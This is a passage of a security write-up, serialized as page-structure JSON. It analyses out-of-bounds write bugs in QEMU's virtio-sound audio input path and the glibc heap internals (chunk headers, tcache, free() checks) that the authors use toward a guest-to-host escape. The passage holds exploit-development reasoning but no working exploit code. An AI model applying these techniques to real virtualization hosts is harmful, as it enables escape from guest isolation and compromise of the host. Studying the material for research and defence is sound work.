",{"type":25,"tag":216,"props":129674,"children":129675},{"style":6947},[129676],{"type":31,"value":8513},{"type":25,"tag":216,"props":129678,"children":129679},{"style":6941},[129680],{"type":31,"value":102234},{"type":25,"tag":216,"props":129682,"children":129683},{"style":6958},[129684],{"type":31,"value":7101},{"type":25,"tag":216,"props":129686,"children":129687},{"class":6916,"line":7104},[129688],{"type":25,"tag":216,"props":129689,"children":129690},{"style":6958},[129691],{"type":31,"value":14830},{"type":25,"tag":216,"props":129693,"children":129694},{"class":6916,"line":7210},[129695,129700,129704],{"type":25,"tag":216,"props":129696,"children":129697},{"style":6958},[129698],{"type":31,"value":129699},"    virtio_snd_pcm_set_params ",{"type":25,"tag":216,"props":129701,"children":129702},{"style":6947},[129703],{"type":31,"value":8513},{"type":25,"tag":216,"props":129705,"children":129706},{"style":6958},[129707],{"type":31,"value":129708},"st_params;\n",{"type":25,"tag":216,"props":129710,"children":129711},{"class":6916,"line":7238},[129712],{"type":25,"tag":216,"props":129713,"children":129714},{"emptyLinePlaceholder":16},[129715],{"type":31,"value":7636},{"type":25,"tag":216,"props":129717,"children":129718},{"class":6916,"line":7251},[129719],{"type":25,"tag":216,"props":129720,"children":129721},{"style":6958},[129722],{"type":31,"value":108753},{"type":25,"tag":216,"props":129724,"children":129725},{"class":6916,"line":7269},[129726],{"type":25,"tag":216,"props":129727,"children":129728},{"emptyLinePlaceholder":16},[129729],{"type":31,"value":7636},{"type":25,"tag":216,"props":129731,"children":129732},{"class":6916,"line":7290},[129733,129738,129742,129747],{"type":25,"tag":216,"props":129734,"children":129735},{"style":6958},[129736],{"type":31,"value":129737},"    st_params ",{"type":25,"tag":216,"props":129739,"children":129740},{"style":6947},[129741],{"type":31,"value":266},{"type":25,"tag":216,"props":129743,"children":129744},{"style":7041},[129745],{"type":31,"value":129746}," virtio_snd_pcm_get_params",{"type":25,"tag":216,"props":129748,"children":129749},{"style":6958},[129750],{"type":31,"value":129751},"(s, stream_id);\n",{"type":25,"tag":216,"props":129753,"children":129754},{"class":6916,"line":7299},[129755],{"type":25,"tag":216,"props":129756,"children":129757},{"emptyLinePlaceholder":16},[129758],{"type":31,"value":7636},{"type":25,"tag":216,"props":129760,"children":129761},{"class":6916,"line":7551},[129762],{"type":25,"tag":216,"props":129763,"children":129764},{"style":6958},[129765],{"type":31,"value":108753},{"type":25,"tag":216,"props":129767,"children":129768},{"class":6916,"line":7568},[129769],{"type":25,"tag":216,"props":129770,"children":129771},{"emptyLinePlaceholder":16},[129772],{"type":31,"value":7636},{"type":25,"tag":216,"props":129774,"children":129775},{"class":6916,"line":7585},[129776,129781,129785,129790,129794,129799,129803,129807,129811,129815],{"type":25,"tag":216,"props":129777,"children":129778},{"style":6941},[129779],{"type":31,"value":129780},"    st_params",{"type":25,"tag":216,"props":129782,"children":129783},{"style":6958},[129784],{"type":31,"value":17708},{"type":25,"tag":216,"props":129786,"children":129787},{"style":6941},[129788],{"type":31,"value":129789},"buffer_bytes",{"type":25,"tag":216,"props":129791,"children":129792},{"style":6947},[129793],{"type":31,"value":6950},{"type":25,"tag":216,"props":129795,"children":129796},{"style":7041},[129797],{"type":31,"value":129798}," le32_to_cpu",{"type":25,"tag":216,"props":129800,"children":129801},{"style":6958},[129802],{"type":31,"value":1844},{"type":25,"tag":216,"props":129804,"children":129805},{"style":6941},[129806],{"type":31,"value":102234},{"type":25,"tag":216,"props":129808,"children":129809},{"style":6958},[129810],{"type":31,"value":17708},{"type":25,"tag":216,"props":129812,"children":129813},{"style":6941},[129814],{"type":31,"value":129789},{"type":25,"tag":216,"props":129816,"children":129817},{"style":6958},[129818],{"type":31,"value":7791},{"type":25,"tag":216,"props":129820,"children":129821},{"class":6916,"line":7598},[129822,129826,129830,129834,129838,129842,129846,129850,129854,129858],{"type":25,"tag":216,"props":129823,"children":129824},{"style":6941},[129825],{"type":31,"value":129780},{"type":25,"tag":216,"props":129827,"children":129828},{"style":6958},[129829],{"type":31,"value":17708},{"type":25,"tag":216,"props":129831,"children":129832},{"style":6941},[129833],{"type":31,"value":129239},{"type":25,"tag":216,"props":129835,"children":129836},{"style":6947},[129837],{"type":31,"value":6950},{"type":25,"tag":216,"props":129839,"children":129840},{"style":7041},[129841],{"type":31,"value":129798},{"type":25,"tag":216,"props":129843,"children":129844},{"style":6958},[129845],{"type":31,"value":1844},{"type":25,"tag":216,"props":129847,"children":129848},{"style":6941},[129849],{"type":31,"value":102234},{"type":25,"tag":216,"props":129851,"children":129852},{"style":6958},[129853],{"type":31,"value":17708},{"type":25,"tag":216,"props":129855,"children":129856},{"style":6941},[129857],{"type":31,"value":129239},{"type":25,"tag":216,"props":129859,"children":129860},{"style":6958},[129861],{"type":31,"value":7791},{"type":25,"tag":216,"props":129863,"children":129864},{"class":6916,"line":7607},[129865,129869,129873,129878,129882,129886,129890,129894,129898,129902],{"type":25,"tag":216,"props":129866,"children":129867},{"style":6941},[129868],{"type":31,"value":129780},{"type":25,"tag":216,"props":129870,"children":129871},{"style":6958},[129872],{"type":31,"value":17708},{"type":25,"tag":216,"props":129874,"children":129875},{"style":6941},[129876],{"type":31,"value":129877},"features",{"type":25,"tag":216,"props":129879,"children":129880},{"style":6947},[129881],{"type":31,"value":6950},{"type":25,"tag":216,"props":129883,"children":129884},{"style":7041},[129885],{"type":31,"value":129798},{"type":25,"tag":216,"props":129887,"children":129888},{"style":6958},[129889],{"type":31,"value":1844},{"type":25,"tag":216,"props":129891,"children":129892},{"style":6941},[129893],{"type":31,"value":102234},{"type":25,"tag":216,"props":129895,"children":129896},{"style":6958},[129897],{"type":31,"value":17708},{"type":25,"tag":216,"props":129899,"children":129900},{"style":6941},[129901],{"type":31,"value":129877},{"type":25,"tag":216,"props":129903,"children":129904},{"style":6958},[129905],{"type":31,"value":7791},{"type":25,"tag":216,"props":129907,"children":129908},{"class":6916,"line":7630},[129909],{"type":25,"tag":216,"props":129910,"children":129911},{"style":6921},[129912],{"type":31,"value":129913},"    /* the following are uint8_t, so there's no need to bswap the values. */\n",{"type":25,"tag":216,"props":129915,"children":129916},{"class":6916,"line":7639},[129917,129921,129925,129930,129934,129939,129943,129947],{"type":25,"tag":216,"props":129918,"children":129919},{"style":6941},[129920],{"type":31,"value":129780},{"type":25,"tag":216,"props":129922,"children":129923},{"style":6958},[129924],{"type":31,"value":17708},{"type":25,"tag":216,"props":129926,"children":129927},{"style":6941},[129928],{"type":31,"value":129929},"channels",{"type":25,"tag":216,"props":129931,"children":129932},{"style":6947},[129933],{"type":31,"value":6950},{"type":25,"tag":216,"props":129935,"children":129936},{"style":6941},[129937],{"type":31,"value":129938}," params",{"type":25,"tag":216,"props":129940,"children":129941},{"style":6958},[129942],{"type":31,"value":17708},{"type":25,"tag":216,"props":129944,"children":129945},{"style":6941},[129946],{"type":31,"value":129929},{"type":25,"tag":216,"props":129948,"children":129949},{"style":6958},[129950],{"type":31,"value":6961},{"type":25,"tag":216,"props":129952,"children":129953},{"class":6916,"line":7648},[129954,129958,129962,129967,129971,129975,129979,129983],{"type":25,"tag":216,"props":129955,"children":129956},{"style":6941},[129957],{"type":31,"value":129780},{"type":25,"tag":216,"props":129959,"children":129960},{"style":6958},[129961],{"type":31,"value":17708},{"type":25,"tag":216,"props":129963,"children":129964},{"style":6941},[129965],{"type":31,"value":129966},"format",{"type":25,"tag":216,"props":129968,"children":129969},{"style":6947},[129970],{"type":31,"value":6950},{"type":25,"tag":216,"props":129972,"children":129973},{"style":6941},[129974],{"type":31,"value":129938},{"type":25,"tag":216,"props":129976,"children":129977},{"style":6958},[129978],{"type":31,"value":17708},{"type":25,"tag":216,"props":129980,"children":129981},{"style":6941},[129982],{"type":31,"value":129966},{"type":25,"tag":216,"props":129984,"children":129985},{"style":6958},[129986],{"type":31,"value":6961},{"type":25,"tag":216,"props":129988,"children":129989},{"class":6916,"line":7716},[129990,129994,129998,130003,130007,130011,130015,130019],{"type":25,"tag":216,"props":129991,"children":129992},{"style":6941},[129993],{"type":31,"value":129780},{"type":25,"tag":216,"props":129995,"children":129996},{"style":6958},[129997],{"type":31,"value":17708},{"type":25,"tag":216,"props":129999,"children":130000},{"style":6941},[130001],{"type":31,"value":130002},"rate",{"type":25,"tag":216,"props":130004,"children":130005},{"style":6947},[130006],{"type":31,"value":6950},{"type":25,"tag":216,"props":130008,"children":130009},{"style":6941},[130010],{"type":31,"value":129938},{"type":25,"tag":216,"props":130012,"children":130013},{"style":6958},[130014],{"type":31,"value":17708},{"type":25,"tag":216,"props":130016,"children":130017},{"style":6941},[130018],{"type":31,"value":130002},{"type":25,"tag":216,"props":130020,"children":130021},{"style":6958},[130022],{"type":31,"value":6961},{"type":25,"tag":216,"props":130024,"children":130025},{"class":6916,"line":7724},[130026],{"type":25,"tag":216,"props":130027,"children":130028},{"emptyLinePlaceholder":16},[130029],{"type":31,"value":7636},{"type":25,"tag":216,"props":130031,"children":130032},{"class":6916,"line":7754},[130033,130037,130042],{"type":25,"tag":216,"props":130034,"children":130035},{"style":6967},[130036],{"type":31,"value":20941},{"type":25,"tag":216,"props":130038,"children":130039},{"style":7041},[130040],{"type":31,"value":130041}," cpu_to_le32",{"type":25,"tag":216,"props":130043,"children":130044},{"style":6958},[130045],{"type":31,"value":130046},"(VIRTIO_SND_S_OK);\n",{"type":25,"tag":216,"props":130048,"children":130049},{"class":6916,"line":7762},[130050],{"type":25,"tag":216,"props":130051,"children":130052},{"style":6958},[130053],{"type":31,"value":7868},{"type":25,"tag":38,"props":130055,"children":130056},{},[130057,130059,130064,130066,130072,130074,130079,130081,130086,130088,130094,130095,130100],{"type":31,"value":130058},"Among the guest-controlled PCM parameters, format matters later for exploit reliability. For 8-bit PCM, QEMU accepts both unsigned (",{"type":25,"tag":82,"props":130060,"children":130062},{"className":130061},[],[130063],{"type":31,"value":7372},{"type":31,"value":130065},") and signed (",{"type":25,"tag":82,"props":130067,"children":130069},{"className":130068},[],[130070],{"type":31,"value":130071},"s8",{"type":31,"value":130073},") samples. They encode the same waveform differently - silence is ",{"type":25,"tag":82,"props":130075,"children":130077},{"className":130076},[],[130078],{"type":31,"value":33394},{"type":31,"value":130080}," in ",{"type":25,"tag":82,"props":130082,"children":130084},{"className":130083},[],[130085],{"type":31,"value":7372},{"type":31,"value":130087},", but ",{"type":25,"tag":82,"props":130089,"children":130091},{"className":130090},[],[130092],{"type":31,"value":130093},"0x00",{"type":31,"value":130080},{"type":25,"tag":82,"props":130096,"children":130098},{"className":130097},[],[130099],{"type":31,"value":130071},{"type":31,"value":179},{"type":25,"tag":22747,"props":130102,"children":130103},{},[],{"type":25,"tag":38,"props":130105,"children":130106},{},[130107],{"type":31,"value":130108},"To summarize:",{"type":25,"tag":6705,"props":130110,"children":130111},{},[130112,130131,130149],{"type":25,"tag":2037,"props":130113,"children":130114},{},[130115,130117,130122,130124,130129],{"type":31,"value":130116},"an integer underflow in the ",{"type":25,"tag":82,"props":130118,"children":130120},{"className":130119},[],[130121],{"type":31,"value":128186},{"type":31,"value":130123}," calculation in ",{"type":25,"tag":82,"props":130125,"children":130127},{"className":130126},[],[130128],{"type":31,"value":127691},{"type":31,"value":130130},", resulting in an 8-byte (or less) under-allocation",{"type":25,"tag":2037,"props":130132,"children":130133},{},[130134,130136,130141,130142,130147],{"type":31,"value":130135},"a mismatch in the ",{"type":25,"tag":82,"props":130137,"children":130139},{"className":130138},[],[130140],{"type":31,"value":129418},{"type":31,"value":130123},{"type":25,"tag":82,"props":130143,"children":130145},{"className":130144},[],[130146],{"type":31,"value":129516},{"type":31,"value":130148},", leading to at most 8-byte OOB write",{"type":25,"tag":2037,"props":130150,"children":130151},{},[130152,130154,130159,130161,130166,130168,130173],{"type":31,"value":130153},"a missing bound in the ",{"type":25,"tag":82,"props":130155,"children":130157},{"className":130156},[],[130158],{"type":31,"value":128186},{"type":31,"value":130160}," passed to ",{"type":25,"tag":82,"props":130162,"children":130164},{"className":130163},[],[130165],{"type":31,"value":129536},{"type":31,"value":130167},", which does not take the actual buffer allocation size into account and can therefore lead to an OOB write of an arbitrary length, up to ",{"type":25,"tag":82,"props":130169,"children":130171},{"className":130170},[],[130172],{"type":31,"value":129559},{"type":31,"value":86255},{"type":25,"tag":38,"props":130175,"children":130176},{},[130177,130179,130184,130186,130191,130193,130199],{"type":31,"value":130178},"In our exploit, we focus on the third bug because it provides the largest overflow and therefore the most useful primitive. In practice, the actual write is still bounded by ",{"type":25,"tag":82,"props":130180,"children":130182},{"className":130181},[],[130183],{"type":31,"value":129559},{"type":31,"value":130185},", but in our setup with the ALSA backend, ",{"type":25,"tag":82,"props":130187,"children":130189},{"className":130188},[],[130190],{"type":31,"value":129559},{"type":31,"value":130192}," was consistently around ",{"type":25,"tag":82,"props":130194,"children":130196},{"className":130195},[],[130197],{"type":31,"value":130198},"4096",{"type":31,"value":179},{"type":25,"tag":38,"props":130201,"children":130202},{},[130203,130205,130212,130213,130220],{"type":31,"value":130204},"It is also worth noting that the timing here was particularly unlucky - these bugs had been present in QEMU for over two years, but they were fixed (",{"type":25,"tag":162,"props":130206,"children":130209},{"href":130207,"rel":130208},"https://github.com/qemu/qemu/commit/bcb53328aa70023f1405fade4e253e7f77567261",[166],[130210],{"type":31,"value":130211},"commit 1",{"type":31,"value":7020},{"type":25,"tag":162,"props":130214,"children":130217},{"href":130215,"rel":130216},"https://github.com/qemu/qemu/commit/7994203bb1b83a6604f3ab00fe9598909bb66164",[166],[130218],{"type":31,"value":130219},"commit 2",{"type":31,"value":130221},") in the very same week that we independently found them while manually reviewing the code.",{"type":25,"tag":26,"props":130223,"children":130224},{"id":104060},[130225],{"type":31,"value":104063},{"type":25,"tag":38,"props":130227,"children":130228},{},[130229],{"type":31,"value":130230},"Each of these bugs is in the audio input path. Since that audio input comes from the host side, the bytes written out of bounds are not controlled by the guest and, from the exploit perspective, can be treated as effectively random.",{"type":25,"tag":38,"props":130232,"children":130233},{},[130234],{"type":31,"value":130235},"This gives an interesting challenge: how do you exploit an out-of-bounds write when you do not control the data being written?",{"type":25,"tag":607,"props":130237,"children":130239},{"id":130238},"achieving-a-better-primitive",[130240],{"type":31,"value":130241},"Achieving a Better Primitive",{"type":25,"tag":38,"props":130243,"children":130244},{},[130245],{"type":31,"value":130246},"The first idea that comes to mind is to target some kind of size or offset field. The goal is to make that field as small as possible initially, trigger the overflow, and rely on the corrupted bytes being larger than the original value. Such scenario would transform a weak primitive into a much more useful one, giving us a better starting point for the rest of the exploit.",{"type":25,"tag":38,"props":130248,"children":130249},{},[130250],{"type":31,"value":130251},"However, after searching QEMU for such objects we didn't find a suitable target. The main problem was that, in most cases, the field we wanted to corrupt was preceded by one or more pointers. That would have been acceptable if those pointers were unused, but in every candidate object we examined they were still live. As a result, the heap overflow would corrupt them with effectively random bytes, causing an invalid dereference and crashing QEMU before we could achieve our desired guest-to-host escape.",{"type":25,"tag":38,"props":130253,"children":130254},{},[130255],{"type":31,"value":130256},"At that point, we turned our attention to the glibc allocator. This is usually not the first choice in such targets - allocator techniques are often more version-specific and less portable than program-specific primitives (for example, type confusion on known object layouts). So allocator attacks are often a fallback once object-level paths are exhausted.",{"type":25,"tag":631,"props":130258,"children":130260},{"id":130259},"glibc-allocator",[130261],{"type":31,"value":130262},"Glibc Allocator",{"type":25,"tag":38,"props":130264,"children":130265},{},[130266,130268,130275],{"type":31,"value":130267},"The glibc allocator has already been studied and documented extensively, so we will only cover the basics relevant to this exploit. A good resource for both current and older attack techniques is ",{"type":25,"tag":162,"props":130269,"children":130272},{"href":130270,"rel":130271},"https://github.com/shellphish/how2heap",[166],[130273],{"type":31,"value":130274},"how2heap",{"type":31,"value":179},{"type":25,"tag":41303,"props":130277,"children":130279},{"id":130278},"chunk-layout-and-bins",[130280],{"type":31,"value":130281},"Chunk Layout and Bins",{"type":25,"tag":38,"props":130283,"children":130284},{},[130285],{"type":31,"value":130286},"A chunk looks like this:",{"type":25,"tag":206,"props":130288,"children":130290},{"code":130289},"       +0x0          +0x8\n      +-------------+-------------+\n      |  prev_size  |    size     |\n      +---------------------------+\n+0x10 |  41 41 41 41 41 41 41 41  |\n      |                           |\n      |  41 41 41 41 41 41 41 41  |\n      |                           |\n      |           . . .           |\n",[130291],{"type":25,"tag":82,"props":130292,"children":130293},{"__ignoreMap":7},[130294],{"type":31,"value":130289},{"type":25,"tag":38,"props":130296,"children":130297},{},[130298,130300,130306,130308,130314,130315,130320,130321,130327,130329,130334,130336,130341,130343,130349,130350,130356,130358,130364],{"type":31,"value":130299},"The first 16 bytes form the chunk header. It consists of the ",{"type":25,"tag":82,"props":130301,"children":130303},{"className":130302},[],[130304],{"type":31,"value":130305},"prev_size",{"type":31,"value":130307}," field at offset ",{"type":25,"tag":82,"props":130309,"children":130311},{"className":130310},[],[130312],{"type":31,"value":130313},"0x0",{"type":31,"value":41507},{"type":25,"tag":82,"props":130316,"children":130318},{"className":130317},[],[130319],{"type":31,"value":128186},{"type":31,"value":130307},{"type":25,"tag":82,"props":130322,"children":130324},{"className":130323},[],[130325],{"type":31,"value":130326},"0x8",{"type":31,"value":130328},". As the name suggests, ",{"type":25,"tag":82,"props":130330,"children":130332},{"className":130331},[],[130333],{"type":31,"value":130305},{"type":31,"value":130335}," stores the size of the previous chunk and is only used when that chunk is free, while ",{"type":25,"tag":82,"props":130337,"children":130339},{"className":130338},[],[130340],{"type":31,"value":128186},{"type":31,"value":130342}," stores the size of the current chunk and three special bits of which ",{"type":25,"tag":82,"props":130344,"children":130346},{"className":130345},[],[130347],{"type":31,"value":130348},"PREV_INUSE",{"type":31,"value":1301},{"type":25,"tag":82,"props":130351,"children":130353},{"className":130352},[],[130354],{"type":31,"value":130355},"IS_MMAPPED",{"type":31,"value":130357}," are relevant for this blog post. The actual chunk data begins at offset ",{"type":25,"tag":82,"props":130359,"children":130361},{"className":130360},[],[130362],{"type":31,"value":130363},"0x10",{"type":31,"value":179},{"type":25,"tag":38,"props":130366,"children":130367},{},[130368],{"type":31,"value":130369},"Freed chunks are organized into different bins depending on their size and state. For this writeup, the important one is the per-thread cache, or tcache. Tcache stores recently freed chunks in size-segregated singly linked lists and is generally the first place glibc looks when servicing small allocations.",{"type":25,"tag":41303,"props":130371,"children":130373},{"id":130372},"free-path",[130374],{"type":31,"value":130375},"free() path",{"type":25,"tag":38,"props":130377,"children":130378},{},[130379,130381,130387],{"type":31,"value":130380},"Let’s first look at the ",{"type":25,"tag":82,"props":130382,"children":130384},{"className":130383},[],[130385],{"type":31,"value":130386},"free()",{"type":31,"value":130388}," path in glibc 2.40:",{"type":25,"tag":206,"props":130390,"children":130392},{"code":130391,"language":2248,"meta":7,"className":20467,"style":7},"__libc_free (void *mem)\n{\n  mstate ar_ptr;\n  mchunkptr p;\n\n  p = mem2chunk (mem);\n  if (chunk_is_mmapped (p))\n    {\n      munmap_chunk (p);\n    }\n  else\n    {\n      MAYBE_INIT_TCACHE ();\n\n      ar_ptr = arena_for_chunk (p);\n      _int_free (ar_ptr, p, 0);\n    }\n}\n",[130393],{"type":25,"tag":82,"props":130394,"children":130395},{"__ignoreMap":7},[130396,130424,130431,130439,130447,130454,130476,130497,130504,130517,130524,130532,130539,130552,130559,130580,130601,130608],{"type":25,"tag":216,"props":130397,"children":130398},{"class":6916,"line":6917},[130399,130404,130408,130412,130416,130420],{"type":25,"tag":216,"props":130400,"children":130401},{"style":7041},[130402],{"type":31,"value":130403},"__libc_free",{"type":25,"tag":216,"props":130405,"children":130406},{"style":6958},[130407],{"type":31,"value":7010},{"type":25,"tag":216,"props":130409,"children":130410},{"style":6930},[130411],{"type":31,"value":55589},{"type":25,"tag":216,"props":130413,"children":130414},{"style":6947},[130415],{"type":31,"value":13767},{"type":25,"tag":216,"props":130417,"children":130418},{"style":6941},[130419],{"type":31,"value":44622},{"type":25,"tag":216,"props":130421,"children":130422},{"style":6958},[130423],{"type":31,"value":7101},{"type":25,"tag":216,"props":130425,"children":130426},{"class":6916,"line":6763},[130427],{"type":25,"tag":216,"props":130428,"children":130429},{"style":6958},[130430],{"type":31,"value":14830},{"type":25,"tag":216,"props":130432,"children":130433},{"class":6916,"line":6772},[130434],{"type":25,"tag":216,"props":130435,"children":130436},{"style":6958},[130437],{"type":31,"value":130438},"  mstate ar_ptr;\n",{"type":25,"tag":216,"props":130440,"children":130441},{"class":6916,"line":6999},[130442],{"type":25,"tag":216,"props":130443,"children":130444},{"style":6958},[130445],{"type":31,"value":130446},"  mchunkptr p;\n",{"type":25,"tag":216,"props":130448,"children":130449},{"class":6916,"line":7104},[130450],{"type":25,"tag":216,"props":130451,"children":130452},{"emptyLinePlaceholder":16},[130453],{"type":31,"value":7636},{"type":25,"tag":216,"props":130455,"children":130456},{"class":6916,"line":7210},[130457,130462,130466,130471],{"type":25,"tag":216,"props":130458,"children":130459},{"style":6958},[130460],{"type":31,"value":130461},"  p ",{"type":25,"tag":216,"props":130463,"children":130464},{"style":6947},[130465],{"type":31,"value":266},{"type":25,"tag":216,"props":130467,"children":130468},{"style":7041},[130469],{"type":31,"value":130470}," mem2chunk",{"type":25,"tag":216,"props":130472,"children":130473},{"style":6958},[130474],{"type":31,"value":130475}," (mem);\n",{"type":25,"tag":216,"props":130477,"children":130478},{"class":6916,"line":7238},[130479,130483,130487,130492],{"type":25,"tag":216,"props":130480,"children":130481},{"style":6967},[130482],{"type":31,"value":35350},{"type":25,"tag":216,"props":130484,"children":130485},{"style":6958},[130486],{"type":31,"value":7010},{"type":25,"tag":216,"props":130488,"children":130489},{"style":7041},[130490],{"type":31,"value":130491},"chunk_is_mmapped",{"type":25,"tag":216,"props":130493,"children":130494},{"style":6958},[130495],{"type":31,"value":130496}," (p))\n",{"type":25,"tag":216,"props":130498,"children":130499},{"class":6916,"line":7251},[130500],{"type":25,"tag":216,"props":130501,"children":130502},{"style":6958},[130503],{"type":31,"value":33141},{"type":25,"tag":216,"props":130505,"children":130506},{"class":6916,"line":7269},[130507,130512],{"type":25,"tag":216,"props":130508,"children":130509},{"style":7041},[130510],{"type":31,"value":130511},"      munmap_chunk",{"type":25,"tag":216,"props":130513,"children":130514},{"style":6958},[130515],{"type":31,"value":130516}," (p);\n",{"type":25,"tag":216,"props":130518,"children":130519},{"class":6916,"line":7290},[130520],{"type":25,"tag":216,"props":130521,"children":130522},{"style":6958},[130523],{"type":31,"value":7305},{"type":25,"tag":216,"props":130525,"children":130526},{"class":6916,"line":7299},[130527],{"type":25,"tag":216,"props":130528,"children":130529},{"style":6967},[130530],{"type":31,"value":130531},"  else\n",{"type":25,"tag":216,"props":130533,"children":130534},{"class":6916,"line":7551},[130535],{"type":25,"tag":216,"props":130536,"children":130537},{"style":6958},[130538],{"type":31,"value":33141},{"type":25,"tag":216,"props":130540,"children":130541},{"class":6916,"line":7568},[130542,130547],{"type":25,"tag":216,"props":130543,"children":130544},{"style":7041},[130545],{"type":31,"value":130546},"      MAYBE_INIT_TCACHE",{"type":25,"tag":216,"props":130548,"children":130549},{"style":6958},[130550],{"type":31,"value":130551}," ();\n",{"type":25,"tag":216,"props":130553,"children":130554},{"class":6916,"line":7585},[130555],{"type":25,"tag":216,"props":130556,"children":130557},{"emptyLinePlaceholder":16},[130558],{"type":31,"value":7636},{"type":25,"tag":216,"props":130560,"children":130561},{"class":6916,"line":7598},[130562,130567,130571,130576],{"type":25,"tag":216,"props":130563,"children":130564},{"style":6958},[130565],{"type":31,"value":130566},"      ar_ptr ",{"type":25,"tag":216,"props":130568,"children":130569},{"style":6947},[130570],{"type":31,"value":266},{"type":25,"tag":216,"props":130572,"children":130573},{"style":7041},[130574],{"type":31,"value":130575}," arena_for_chunk",{"type":25,"tag":216,"props":130577,"children":130578},{"style":6958},[130579],{"type":31,"value":130516},{"type":25,"tag":216,"props":130581,"children":130582},{"class":6916,"line":7607},[130583,130588,130593,130597],{"type":25,"tag":216,"props":130584,"children":130585},{"style":7041},[130586],{"type":31,"value":130587},"      _int_free",{"type":25,"tag":216,"props":130589,"children":130590},{"style":6958},[130591],{"type":31,"value":130592}," (ar_ptr, p, ",{"type":25,"tag":216,"props":130594,"children":130595},{"style":6983},[130596],{"type":31,"value":1876},{"type":25,"tag":216,"props":130598,"children":130599},{"style":6958},[130600],{"type":31,"value":7791},{"type":25,"tag":216,"props":130602,"children":130603},{"class":6916,"line":7630},[130604],{"type":25,"tag":216,"props":130605,"children":130606},{"style":6958},[130607],{"type":31,"value":7305},{"type":25,"tag":216,"props":130609,"children":130610},{"class":6916,"line":7639},[130611],{"type":25,"tag":216,"props":130612,"children":130613},{"style":6958},[130614],{"type":31,"value":7868},{"type":25,"tag":38,"props":130616,"children":130617},{},[130618,130620,130625,130627,130632,130634,130640,130642,130648,130650,130655,130657,130662,130664,130669,130671,130676],{"type":31,"value":130619},"We can see that if the ",{"type":25,"tag":82,"props":130621,"children":130623},{"className":130622},[],[130624],{"type":31,"value":130355},{"type":31,"value":130626}," bit is set in the corrupted ",{"type":25,"tag":82,"props":130628,"children":130630},{"className":130629},[],[130631],{"type":31,"value":128186},{"type":31,"value":130633}," field, glibc will call ",{"type":25,"tag":82,"props":130635,"children":130637},{"className":130636},[],[130638],{"type":31,"value":130639},"munmap_chunk",{"type":31,"value":130641},", which internally checks that ",{"type":25,"tag":82,"props":130643,"children":130645},{"className":130644},[],[130646],{"type":31,"value":130647},"prev_size + size",{"type":31,"value":130649}," is page-aligned. To reach the ",{"type":25,"tag":82,"props":130651,"children":130653},{"className":130652},[],[130654],{"type":31,"value":128186},{"type":31,"value":130656}," field, we first have to overwrite the entire 8-byte ",{"type":25,"tag":82,"props":130658,"children":130660},{"className":130659},[],[130661],{"type":31,"value":130305},{"type":31,"value":130663}," field with uncontrolled data. The chance that a corrupted ",{"type":25,"tag":82,"props":130665,"children":130667},{"className":130666},[],[130668],{"type":31,"value":130647},{"type":31,"value":130670}," value still ends up page-aligned is extremely small. In practice, if ",{"type":25,"tag":82,"props":130672,"children":130674},{"className":130673},[],[130675],{"type":31,"value":130355},{"type":31,"value":130677}," is set, the process will almost certainly abort before we can make use of the corruption.",{"type":25,"tag":38,"props":130679,"children":130680},{},[130681,130683,130688,130690,130696],{"type":31,"value":130682},"Assuming ",{"type":25,"tag":82,"props":130684,"children":130686},{"className":130685},[],[130687],{"type":31,"value":130355},{"type":31,"value":130689}," is not set, execution continues into ",{"type":25,"tag":82,"props":130691,"children":130693},{"className":130692},[],[130694],{"type":31,"value":130695},"_int_free",{"type":31,"value":1466},{"type":25,"tag":206,"props":130698,"children":130700},{"code":130699,"language":2248,"meta":7,"className":20467,"style":7},"static void\n_int_free (mstate av, mchunkptr p, int have_lock)\n{\n  INTERNAL_SIZE_T size;\n\n  size = chunksize (p);\n\n  /* Little security check which won't hurt performance: the\n     allocator never wraps around at the end of the address space.\n     Therefore we can exclude some size values which might appear\n     here by accident or by \"design\" from some intruder.  */\n  if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)\n      || __builtin_expect (misaligned_chunk (p), 0))\n    malloc_printerr (\"free(): invalid pointer\");\n  /* We know that each chunk is at least MINSIZE bytes in size or a\n     multiple of MALLOC_ALIGNMENT.  */\n  if (__glibc_unlikely (size \u003C MINSIZE || !aligned_OK (size)))\n    malloc_printerr (\"free(): invalid size\");\n\n  check_inuse_chunk(av, p);\n\n  [...]\n",[130701],{"type":25,"tag":82,"props":130702,"children":130703},{"__ignoreMap":7},[130704,130716,130759,130766,130774,130781,130802,130809,130817,130825,130833,130841,130905,130940,130961,130969,130977,131025,131045,131052,131065,131072],{"type":25,"tag":216,"props":130705,"children":130706},{"class":6916,"line":6917},[130707,130711],{"type":25,"tag":216,"props":130708,"children":130709},{"style":6930},[130710],{"type":31,"value":55007},{"type":25,"tag":216,"props":130712,"children":130713},{"style":6930},[130714],{"type":31,"value":130715}," void\n",{"type":25,"tag":216,"props":130717,"children":130718},{"class":6916,"line":6763},[130719,130723,130728,130733,130738,130742,130746,130750,130755],{"type":25,"tag":216,"props":130720,"children":130721},{"style":7041},[130722],{"type":31,"value":130695},{"type":25,"tag":216,"props":130724,"children":130725},{"style":6958},[130726],{"type":31,"value":130727}," (mstate ",{"type":25,"tag":216,"props":130729,"children":130730},{"style":6941},[130731],{"type":31,"value":130732},"av",{"type":25,"tag":216,"props":130734,"children":130735},{"style":6958},[130736],{"type":31,"value":130737},", mchunkptr ",{"type":25,"tag":216,"props":130739,"children":130740},{"style":6941},[130741],{"type":31,"value":38},{"type":25,"tag":216,"props":130743,"children":130744},{"style":6958},[130745],{"type":31,"value":7020},{"type":25,"tag":216,"props":130747,"children":130748},{"style":6930},[130749],{"type":31,"value":23001},{"type":25,"tag":216,"props":130751,"children":130752},{"style":6941},[130753],{"type":31,"value":130754}," have_lock",{"type":25,"tag":216,"props":130756,"children":130757},{"style":6958},[130758],{"type":31,"value":7101},{"type":25,"tag":216,"props":130760,"children":130761},{"class":6916,"line":6772},[130762],{"type":25,"tag":216,"props":130763,"children":130764},{"style":6958},[130765],{"type":31,"value":14830},{"type":25,"tag":216,"props":130767,"children":130768},{"class":6916,"line":6999},[130769],{"type":25,"tag":216,"props":130770,"children":130771},{"style":6958},[130772],{"type":31,"value":130773},"  INTERNAL_SIZE_T size;\n",{"type":25,"tag":216,"props":130775,"children":130776},{"class":6916,"line":7104},[130777],{"type":25,"tag":216,"props":130778,"children":130779},{"emptyLinePlaceholder":16},[130780],{"type":31,"value":7636},{"type":25,"tag":216,"props":130782,"children":130783},{"class":6916,"line":7210},[130784,130789,130793,130798],{"type":25,"tag":216,"props":130785,"children":130786},{"style":6958},[130787],{"type":31,"value":130788},"  size 